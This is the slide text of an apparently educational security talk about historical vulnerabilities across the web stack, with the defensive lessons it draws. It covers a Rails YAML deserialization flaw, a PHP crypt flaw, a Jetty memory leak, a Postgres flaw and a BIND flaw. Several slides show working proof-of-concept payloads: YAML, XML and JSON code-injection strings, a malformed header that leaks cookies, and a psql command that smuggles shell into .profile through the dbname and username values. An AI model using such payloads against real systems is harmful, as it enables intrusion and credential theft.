Your Web Stack Would Betray You In An Instant
Tech Lead & Open-Source Champion at Softwire
Security
Your Web Application:
- Your Code
- Web Framework
- Programming Language
- Web Server
- Database
- Network Infrastructure
Everything is insecure
Your greatest weakness
is (probably) not your code
- Your Code
- Web Framework
- Programming Language
- Web Server
- Database
- Network Infrastructure
Be Ready To Update
Ruby on Rails
- Your Code
- Web Framework
- Programming Language
- Web Server
- Database
- Network Infrastructure
YAML
-
--- name: "Tim Perry" company: "Softwire" speaking: Yes ears: - "Left" - "Right"
-
--- !ruby/hash:User name: "Tim Perry" company: "Softwire" speaking: Yes ears: - "Left" - "Right"
YAML
user = User.allocate
values.each_pair { |key,val|
user[key] = val
}
NamedRouteCollection
alias []= add
def add(name, route)
...
@module.module_eval(
"remove_possible_method :#{name}; ..."
)
...
end
NamedRouteCollection
name = "ignored; puts 'Hello'; \n__END__\n"
@module.module_eval(
"remove_possible_method :#{name}; ..."
)
# Becomes:
@module.module_eval(
"remove_possible_method :ignored; puts 'Hello';
__END__
..."
)
Arbitrary Code Execution
with YAML
--- !ruby/hash:NamedRouteCollection
"ignored; puts 'Hello'; \n__END__\n":
!ruby/object:OpenStruct
‘table’: {‘defaults’: {}}
(Namespaces omitted)
Rails
CVE-2013-0156
<?xml version="1.0"?>
<foo type='yaml'>
--- !ruby/hash:NamedRouteCollection
"ignored; puts 'Hello'; \n__END__\n":
!ruby/object:OpenStruct
'table': {'defaults': {}}
</foo>
Rails
CVE-2013-0333
Content-Type: application/json
--- !ruby/hash\u003aNamedRouteCollection
"ignored; puts 'Hello'; \n__END__\n":
!ruby/object\u003aOpenStruct
'table': {'defaults': {}}
Rails
CVE-2013-0277
class BlogPost < ActiveRecord::Base
:serialize tags
end
Ouch
Fear User Input
(in any format)
PHP
- Your Code
- Web Framework
- Programming Language
- Web Server
- Database
- Network Infrastructure
PHP
$user = new User();
$user->username = $_POST['username'];
$hashedPassword = crypt($_POST['password'], $salt);
$user->password = $hashedPassword;
$user->save();
(Salt generation and all validation omitted)
PHP
$salt = $user->password;
$hashedPasswordInput = crypt($_POST['password'], $salt);
$loginOk = ($user->password === $hashedPasswordInput);
PHP 5.3.7
- strncat(passwd, "$", 1);
+ strlcat(passwd, "$", 1);
PHP 5.3.7
CVE-2011-3189
crypt($password, $salt) === $salt
PHP 5.3.7
CVE-2011-3189
-
$salt = $user->password; $hashedPasswordInput = crypt($_POST['password'], $salt); $loginOk = ($user->password === $hashedPasswordInput);
-
$salt = $user->password; $hashedPasswordInput = $salt; $loginOk = ($user->password === $hashedPasswordInput);
-
$loginOk = ($user->password === $user->password);
Tests?
Reported?
Value
Best
Practices
Jetty
- Your Code
- Web Framework
- Programming Language
- Web Server
- Database
- Network Infrastructure
HTTP
GET / HTTP/1.1
Host: localhost:8080
Accept: text/html
Cookie: password=secret
Bad HTTP
GET / HTTP/1.1
Host: localhost:8080
Accept®: text/html
Bad HTTP
HTTP/1.1 400 Illegal character 0xc2 in state=HEADER_IN_NAME in
'GET / HTTP/1.1
H...t:8080
Accept\xC2<<<\xAe: text/html
>>>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00...\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00'
Content-Length: 0
Connection: close
Server: Jetty(9.2.8.v20150217)
CVE-2015-2080
-
GET / HTTP/1.1 Host: localhost:8080 Accept: text/html Cookie: password=secret
GET / HTTP/1.1 Host: localhost:8080 Accept®: text/html HTTP/1.1 400 Illegal character 0xc2 in state=HEADER_IN_NAME in 'GET / HTTP/1.1 H...t:8080 Accept\xC2<<<\xAe: text/html >>>ie: password=secr...\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' Content-Length: 0 Connection: close Server: Jetty(9.2.8.v20150217)
-
GET / HTTP/1.1 Host: localhost:8080 Accept: text/html Cookie: password=secret
GET / HTTP/1.1 Host: localhost:8080 Accept®: text/htmlQQQQ HTTP/1.1 400 Illegal character 0xc2 in state=HEADER_IN_NAME in 'GET / HTTP/1.1 H...t:8080 Accept\xC2<<<\xAe: text/htmlQQQQ >>>password=secret ...\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' Content-Length: 0 Connection: close Server: Jetty(9.2.8.v20150217)
Fixed
HTTP/1.1 400 Illegal character 0xc2
Content-Length: 0
Connection: close
Server: Jetty(9.2.9.v20150224)
Keep
Errors
Secret
PostgreSQL
- Your Code
- Web Framework
- Programming Language
- Web Server
- Database
- Network Infrastructure
Postgres
psql --host="example.com" \
--dbname="blogdb"
Postgres
CVE-2013-1899
psql --host="example.com" \
--dbname="-r/var/lib/postgres/data/db"
Postgres
CVE-2013-1899
no pg_hba.conf entry for host "example.com",
user "postgres", database "-r/var/lib/postgres/data/db"
Postgres
CVE-2013-1899
psql --host="example.com" \
--dbname="-r/var/lib/postgres/.profile" \
--username="
echo 'Hello' #"
Postgres
CVE-2013-1899
$ cat .profile
[...]
no pg_hba.conf entry for host "example.com", user "
echo 'Hello' #", database "-r/var/lib/postgres/.profile"
$ su - postgres
no: command not found
Hello
So?
Isolate Your Components
(From themselves, and everyone else)
BIND
- Your Code
- Web Framework
- Programming Language
- Web Server
- Database
- Network Infrastructure
TSIG
RFC 2845
TKEY
RFC 2930
dns_tkey_processquery(dns_message_t *msg, dns_tkeyctx_t *tctx, dns_tsig_keyring_t *ring) {
isc_result_t result = ISC_R_SUCCESS;
dns_rdata_tkey_t tkeyin, tkeyout;
isc_boolean_t freetkeyin = ISC_FALSE;
dns_name_t *qname, *name, *keyname, *signer, tsigner;
dns_fixedname_t fkeyname;
dns_rdataset_t *tkeyset;
dns_rdata_t rdata;
dns_namelist_t namelist;
char tkeyoutdata[512];
isc_buffer_t tkeyoutbuf;
REQUIRE(msg != NULL);
REQUIRE(tctx != NULL);
REQUIRE(ring != NULL);
ISC_LIST_INIT(namelist);
/*
* Interpret the question section.
*/
result = dns_message_firstname(msg, DNS_SECTION_QUESTION);
if (result != ISC_R_SUCCESS) return (DNS_R_FORMERR);
qname = NULL;
dns_message_currentname(msg, DNS_SECTION_QUESTION, &qname);
/*
* Look for a TKEY record that matches the question.
*/
tkeyset = NULL;
name = NULL;
result = dns_message_findname(msg, DNS_SECTION_ADDITIONAL, qname,
dns_rdatatype_tkey, 0, &name, &tkeyset);
if (result != ISC_R_SUCCESS) {
/*
* Try the answer section, since that's where Win2000
* puts it.
*/
if (dns_message_findname(msg, DNS_SECTION_ANSWER, qname
dns_rdatatype_tkey, 0, &name,
&tkeyset) != ISC_R_SUCCESS) {
result = DNS_R_FORMERR;
tkey_log("dns_tkey_processquery: couldn't find a TKEY "
"matching the question");
goto failure;
}
}
result = dns_rdataset_first(tkeyset);
if (result != ISC_R_SUCCESS) {
result = DNS_R_FORMERR;
goto failure;
}
dns_rdata_init(&rdata);
dns_rdataset_current(tkeyset, &rdata);
RETERR(dns_rdata_tostruct(&rdata, &tkeyin, NULL));
freetkeyin = ISC_TRUE;
if (tkeyin.error != dns_rcode_noerror) {
result = DNS_R_FORMERR;
goto failure;
}
/*
* Before we go any farther, verify that the message was signed.
* GSSAPI TKEY doesn't require a signature, the rest do.
*/
dns_name_init(&tsigner, NULL);
result = dns_message_signer(msg, &tsigner);
if (result != ISC_R_SUCCESS) {
if (tkeyin.mode == DNS_TKEYMODE_GSSAPI &&
result == ISC_R_NOTFOUND)
signer = NULL;
else {
tkey_log("dns_tkey_processquery: query was not "
"properly signed - rejecting");
result = DNS_R_FORMERR;
goto failure;
}
} else
signer = &tsigner;
tkeyout.common.rdclass = tkeyin.common.rdclass;
tkeyout.common.rdtype = tkeyin.common.rdtype;
ISC_LINK_INIT(&tkeyout.common, link);
tkeyout.mctx = msg->mctx;
dns_name_init(&tkeyout.algorithm, NULL);
dns_name_clone(&tkeyin.algorithm, &tkeyout.algorithm);
tkeyout.inception = tkeyout.expire = 0;
tkeyout.mode = tkeyin.mode;
tkeyout.error = 0;
tkeyout.keylen = tkeyout.otherlen = 0;
tkeyout.key = tkeyout.other = NULL;
/*
* A delete operation must have a fully specified key name. If this
* is not a delete, we do the following:
* if (qname != ".")
* keyname = qname + defaultdomain
* else
* keyname = + defaultdomain
*/
if (tkeyin.mode != DNS_TKEYMODE_DELETE) {
dns_tsigkey_t *tsigkey = NULL;
if (tctx->domain == NULL && tkeyin.mode != DNS_TKEYMODE_GSSAPI) {
tkey_log("dns_tkey_processquery: tkey-domain not set");
result = DNS_R_REFUSED;
goto failure;
}
dns_fixedname_init(&fkeyname);
keyname = dns_fixedname_name(&fkeyname);
if (!dns_name_equal(qname, dns_rootname)) {
unsigned int n = dns_name_countlabels(qname);
RUNTIME_CHECK(dns_name_copy(qname, keyname, NULL)
== ISC_R_SUCCESS);
dns_name_getlabelsequence(keyname, 0, n - 1, keyname);
} else {
static char hexdigits[16] = {
'0', '1', '2', '3', '4', '5', '6', '7',
'8', '9', 'A', 'B', 'C', 'D', 'E', 'F' };
unsigned char randomdata[16];
char randomtext[32];
isc_buffer_t b;
unsigned int i, j;
result = isc_entropy_getdata(tctx->ectx,
randomdata,
sizeof(randomdata),
NULL, 0);
if (result != ISC_R_SUCCESS)
goto failure;
for (i = 0, j = 0; i < sizeof(randomdata); i++) {
unsigned char val = randomdata[i];
randomtext[j++] = hexdigits[val >> 4];
randomtext[j++] = hexdigits[val & 0xF];
}
isc_buffer_init(&b, randomtext, sizeof(randomtext));
isc_buffer_add(&b, sizeof(randomtext));
result = dns_name_fromtext(keyname, &b, NULL, 0, NULL);
if (result != ISC_R_SUCCESS)
goto failure;
}
if (tkeyin.mode == DNS_TKEYMODE_GSSAPI) {
/* Yup. This is a hack */
result = dns_name_concatenate(keyname, dns_rootname,
keyname, NULL);
if (result != ISC_R_SUCCESS)
goto failure;
} else {
result = dns_name_concatenate(keyname, tctx->domain,
keyname, NULL);
if (result != ISC_R_SUCCESS)
goto failure;
}
result = dns_tsigkey_find(&tsigkey, keyname, NULL, ring);
if (result == ISC_R_SUCCESS) {
tkeyout.error = dns_tsigerror_badname;
dns_tsigkey_detach(&tsigkey);
goto failure_with_tkey;
} else if (result != ISC_R_NOTFOUND)
goto failure;
} else
keyname = qname;
switch (tkeyin.mode) {
case DNS_TKEYMODE_DIFFIEHELLMAN:
tkeyout.error = dns_rcode_noerror;
RETERR(process_dhtkey(msg, signer, keyname, &tkeyin,
tctx, &tkeyout, ring,
&namelist));
break;
case DNS_TKEYMODE_GSSAPI:
tkeyout.error = dns_rcode_noerror;
RETERR(process_gsstkey(keyname, &tkeyin, tctx,
&tkeyout, ring));
break;
case DNS_TKEYMODE_DELETE:
tkeyout.error = dns_rcode_noerror;
RETERR(process_deletetkey(signer, keyname, &tkeyin,
&tkeyout, ring));
break;
case DNS_TKEYMODE_SERVERASSIGNED:
case DNS_TKEYMODE_RESOLVERASSIGNED:
result = DNS_R_NOTIMP;
goto failure;
default:
tkeyout.error = dns_tsigerror_badmode;
}
failure_with_tkey:
dns_rdata_init(&rdata);
isc_buffer_init(&tkeyoutbuf, tkeyoutdata, sizeof(tkeyoutdata));
result = dns_rdata_fromstruct(&rdata, tkeyout.common.rdclass,
tkeyout.common.rdtype, &tkeyout,
&tkeyoutbuf);
if (freetkeyin) {
dns_rdata_freestruct(&tkeyin);
freetkeyin = ISC_FALSE;
}
if (tkeyout.key != NULL)
isc_mem_put(tkeyout.mctx, tkeyout.key, tkeyout.keylen);
if (tkeyout.other != NULL)
isc_mem_put(tkeyout.mctx, tkeyout.other, tkeyout.otherlen);
if (result != ISC_R_SUCCESS)
goto failure;
RETERR(add_rdata_to_list(msg, keyname, &rdata, 0, &namelist));
RETERR(dns_message_reply(msg, ISC_TRUE));
name = ISC_LIST_HEAD(namelist);
while (name != NULL) {
dns_name_t *next = ISC_LIST_NEXT(name, link);
ISC_LIST_UNLINK(namelist, name, link);
dns_message_addname(msg, name, DNS_SECTION_ANSWER);
name = next;
}
return (ISC_R_SUCCESS);
failure:
if (freetkeyin)
dns_rdata_freestruct(&tkeyin);
if (!ISC_LIST_EMPTY(namelist))
free_namelist(msg, &namelist);
return (result);
}
/*
* Look for a TKEY record that matches the question.
*/
tkeyset = NULL;
name = NULL;
result = dns_message_findname(msg, DNS_SECTION_ADDITIONAL, qname,
dns_rdatatype_tkey, 0, &name, &tkeyset);
if (result != ISC_R_SUCCESS) {
/*
* Try the answer section, since that's where Win2000
* puts it.
*/
if (dns_message_findname(msg, DNS_SECTION_ANSWER, qname
dns_rdatatype_tkey, 0, &name,
&tkeyset) != ISC_R_SUCCESS) {
result = DNS_R_FORMERR;
tkey_log("dns_tkey_processquery: couldn't find a TKEY "
"matching the question");
goto failure;
}
}
dns_message_findname(dns_message_t *msg, dns_section_t section,
dns_name_t *target, dns_rdatatype_t type,
dns_rdatatype_t covers, dns_name_t **name,
dns_rdataset_t **rdataset)
{
dns_name_t *foundname;
isc_result_t result;
/*
* XXX These requirements are probably too intensive, especially
* where things can be NULL, but as they are they ensure that if
* something is NON-NULL, indicating that the caller expects it
* to be filled in, that we can in fact fill it in.
*/
REQUIRE(msg != NULL);
REQUIRE(VALID_SECTION(section));
REQUIRE(target != NULL);
if (name != NULL) REQUIRE(*name == NULL);
if (type == dns_rdatatype_any) {
REQUIRE(rdataset == NULL);
} else {
if (rdataset != NULL) REQUIRE(*rdataset == NULL);
}
result = findname(&foundname, target,
&msg->sections[section]);
if (result == ISC_R_NOTFOUND)
return (DNS_R_NXDOMAIN);
else if (result != ISC_R_SUCCESS)
return (result);
if (name != NULL)
*name = foundname;
/*
* And now look for the type.
*/
if (type == dns_rdatatype_any)
return (ISC_R_SUCCESS);
result = dns_message_findtype(foundname, type, covers, rdataset);
if (result == ISC_R_NOTFOUND)
return (DNS_R_NXRRSET);
return (result);
}
Avoid
Complexity
The also-rans:
- Node.JS: Cross-request header stealing
(CVE-2012-2330) - Python: Remote code execution via builtin socket receive function
(CVE-2014-1912) - GCC: Optimizations remove checks required to avoid overflow exploits
(CVE-2009-1897) - WebSockets: Security bug in initial spec, when used with caching proxies
- SSL/TLS: BEAST/CRIME/BREACH attacks against SSL and TLS
(CVE-2011-3389, CVE-2012-4929, CVE-2013-3587) - MongoDB: Overflow exploits, crashing servers with a single request
(CVE-2012-6619, CVE-2013-2132) - RubyGems: YAML exploit gave an external user full access to the repo
- NPM: Full disk exposure on NPM server with a maliciously crafted URL
Your Web Stack Would Betray You In An Instant
Tech Lead & Open-Source Champion at Softwire